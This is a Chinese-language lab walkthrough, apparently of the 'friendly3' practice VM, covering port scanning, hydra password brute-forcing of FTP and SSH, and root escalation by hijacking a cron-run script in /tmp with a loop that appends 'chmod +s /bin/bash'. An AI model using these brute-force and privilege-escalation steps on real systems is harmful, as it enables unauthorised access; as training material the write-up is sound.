渗透学习

1.扫描端口

Powershell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(root㉿kali)-[/home/ace]
└─# nmap -sC -sV -p- 192.168.56.140
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-10 18:23 CST
Nmap scan report for 192.168.56.140
Host is up (0.00074s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2 (protocol 2.0)
| ssh-hostkey: 
|   256 bc:46:3d:85:18:bf:c7:bb:14:26:9a:20:6c:d3:39:52 (ECDSA)
|_  256 7b:13:5a:46:a5:62:33:09:24:9d:3e:67:b6:eb:3f:a1 (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Welcome to nginx!
MAC Address: 08:00:27:2D:A5:44 (Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

2.访问页面

image-20230810182607711image-20230810182607711

由此，存在两个账户

sysadmin和juan

试一试爆破

Powershell
1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[/home/ace]
└─# hydra -l juan -P /usr/share/wordlists/rockyou.txt ftp://192.168.56.140
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-08-10 18:28:23
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ftp://192.168.56.140:21/
[21][ftp] host: 192.168.56.140   login: juan   password: alexis
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-08-10 18:28:50

进入ftp看看

image-20230810183628636image-20230810183628636

3.进入系统

ftp鸟用没有。。。

进入ssh 爆破

Powershell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿kali)-[/home/ace]
└─# hydra -l juan  -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.140
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-08-10 18:37:52
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://192.168.56.140:22/
[22][ssh] host: 192.168.56.140   login: juan   password: alexis
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-08-10 18:39:01

ssh连接一下

Powershell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(root㉿kali)-[/home/ace]
└─# ssh juan@192.168.56.140
The authenticity of host '192.168.56.140 (192.168.56.140)' can't be established.
ED25519 key fingerprint is SHA256:qcoxC68+orQ8LIJrunR2ElUTnj9X5X0OFj9F/oxHDjc.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.140' (ED25519) to the list of known hosts.
juan@192.168.56.140's password: 
Linux friendly3 6.1.0-9-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.27-1 (2023-05-08) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Aug 10 06:42:48 2023
juan@friendly3:~$ ls
ftp  user.txt
juan@friendly3:~$ cat user.txt
cb40b159c8086733d57280de3f97de30

success!!!

4.sudo提权

Powershell
1
2
3
juan@friendly3:~$ sudo -l
-bash: sudo: command not found
juan@friendly3:~$

无法使用？

看看系统的调用吧

Powershell
1
2
3
4
5
6
7
8
9
2023/08/10 06:56:01 CMD: UID=0     PID=1591   | /usr/sbin/CRON -f 
2023/08/10 06:56:01 CMD: UID=0     PID=1592   | /bin/sh -c /opt/check_for_install.sh 
2023/08/10 06:56:01 CMD: UID=0     PID=1593   | /bin/bash /opt/check_for_install.sh 
2023/08/10 06:56:01 CMD: UID=0     PID=1594   | /bin/bash /opt/check_for_install.sh 
2023/08/10 06:56:01 CMD: UID=0     PID=1595   | chmod +r /tmp/a.bash 
2023/08/10 06:56:01 CMD: UID=0     PID=1596   | /bin/bash /opt/check_for_install.sh 
2023/08/10 06:56:01 CMD: UID=0     PID=1597   | /bin/bash /opt/check_for_install.sh 
2023/08/10 06:56:01 CMD: UID=0     PID=1598   | /bin/bash /opt/check_for_install.sh

有两个脚本，看看能不能劫取

Powershell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
juan@friendly3:~$ cat /opt/check_for_install.sh 
#!/bin/bash


/usr/bin/curl "http://127.0.0.1/9842734723948024.bash" > /tmp/a.bash

chmod +x /tmp/a.bash
chmod +r /tmp/a.bash
chmod +w /tmp/a.bash

/bin/bash /tmp/a.bash

rm -rf /tmp/a.bash

呦吼！！！！

a.bash可以试试劫取

分析脚本，我们可以看到它对同一个 Web 服务器执行一个卷曲到一个名为下载它并保存该文件的文件 9842734723948024.bash ，然后 /tmp/a.bash 它继续授予它所有权限，直到它执行并删除它。

Powershell
1
2
3
4
5
bash-5.2# cat a.sh
while true :
do
echo "chmod +s /bin/bash" >>/tmp/a.bash
done

等一会儿

Powershell
1
2
3
4
5
juan@friendly3:~$ bash -p
bash-5.2# ls
a.sh  ftp  pspy64  user.txt
bash-5.2# cat /root/root.txt
eb9748b67f25e6bd202e5fa25f534d51

over!

Powered By Valine
v1.5.1